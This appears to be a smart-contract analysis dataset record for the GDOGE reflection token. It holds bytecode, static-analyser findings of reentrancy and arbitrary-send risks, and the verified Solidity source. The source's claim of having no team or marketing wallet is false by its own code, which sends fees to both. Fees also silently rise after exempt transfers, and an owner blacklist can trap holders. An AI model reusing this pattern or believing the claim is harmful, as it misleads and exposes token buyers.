6114e5611588565b90506114f183826115ab565b9392505050565b600e546001600160a01b03166108fc6115128360026115ab565b6040518115909202916000818181858888f1935050505015801561153a573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6115558360026115ab565b6040518115909202916000818181858888f19350505050158015610868573d6000803e3d6000fd5b6112908383836115ed565b60008060006115956117ad565b90925090506115a482826115ab565b9250505090565b60006114f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ef565b6000806000806000806115ff8761181d565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611631908761187a565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061167c57506001600160a01b03881660009081526005602052604090205460ff165b15611705576001600160a01b0388166000908152600260205260409020546116a490876118bc565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f8908b815260200190565b60405180910390a36117a2565b6001600160a01b03881660009081526002602052604090205461172890866118bc565b6001600160a01b03891660009081526002602052604090205561174a8161191b565b6117548483611965565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179991815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006117c982826115ab565b8210156117e657505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836118105760405162461bcd60e51b81526004016105ed9190611d09565b5060006112c68486611e19565b600080600080600080600080600061183a8a600c54600d54611989565b925092509250600061184a611588565b9050600080600061185d8e8787876119de565b919e509c509a509598509396509194505050505091939550919395565b60006114f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611295565b6000806118c98385611e01565b9050838110156114f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ed565b6000611925611588565b905060006119338383611a2e565b3060009081526002602052604090205490915061195090826118bc565b30600090815260026020526040902055505050565b600954611972908361187a565b600955600a5461198290826118bc565b600a555050565b60008080806119a3606461199d8989611a2e565b906115ab565b905060006119b6606461199d8a89611a2e565b905060006119ce826119c88b8661187a565b9061187a565b9992985090965090945050505050565b60008080806119ed8886611a2e565b905060006119fb8887611a2e565b90506000611a098888611a2e565b90506000611a1b826119c8868661187a565b939b939a50919850919650505050505050565b600082611a3d57506000610554565b6000611a498385611e39565b905082611a568583611e19565b146114f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ed565b8035611ab881611eb6565b919050565b600060208284031215611ace578081fd5b81356114f181611eb6565b600060208284031215611aea578081fd5b81516114f181611eb6565b60008060408385031215611b07578081fd5b8235611b1281611eb6565b91506020830135611b2281611eb6565b809150509250929050565b600080600060608486031215611b41578081fd5b8335611b4c81611eb6565b92506020840135611b5c81611eb6565b929592945050506040919091013590565b60008060408385031215611b7f578182fd5b8235611b8a81611eb6565b91506020830135611b2281611ecb565b60008060408385031215611bac578182fd5b8235611bb781611eb6565b946020939093013593505050565b60006020808385031215611bd7578182fd5b823567ffffffffffffffff80821115611bee578384fd5b818501915085601f830112611c01578384fd5b813581811115611c1357611c13611ea0565b8060051b604051601f19603f83011681018181108582111715611c3857611c38611ea0565b604052828152858101935084860182860187018a1015611c56578788fd5b8795505b83861015611c7f57611c6b81611aad565b855260019590950194938601938601611c5a565b5098975050505050505050565b600060208284031215611c9d578081fd5b81356114f181611ecb565b600060208284031215611cb9578081fd5b81516114f181611ecb565b600060208284031215611cd5578081fd5b5035919050565b600080600060608486031215611cf0578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d3557858101830151858201604001528201611d19565b81811115611d465783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611de05784516001600160a01b031683529383019391830191600101611dbb565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e1457611e14611e8a565b500190565b600082611e3457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e5357611e53611e8a565b500290565b600082821015611e6a57611e6a611e8a565b500390565b6000600019821415611e8357611e83611e8a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064d57600080fd5b801515811461064d57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e3e6bfbb52545d45e87c79c53a1c081af9b8f6797f23051798398bffd4165f7764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,055 |
0xf16bf64196707f896835b04566ea735b9a81a890
|
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/*
No Team & Marketing wallet. 100% of the tokens will be on the market for trade.
https://t.me/thegdoge
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GDOGE | t.me/thegdoge";
string private constant _symbol = "GDOGE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 4;
uint256 private _teamFee = 5;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280601581526020017f47444f4745207c20742e6d652f74686567646f67650000000000000000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f47444f4745000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f1935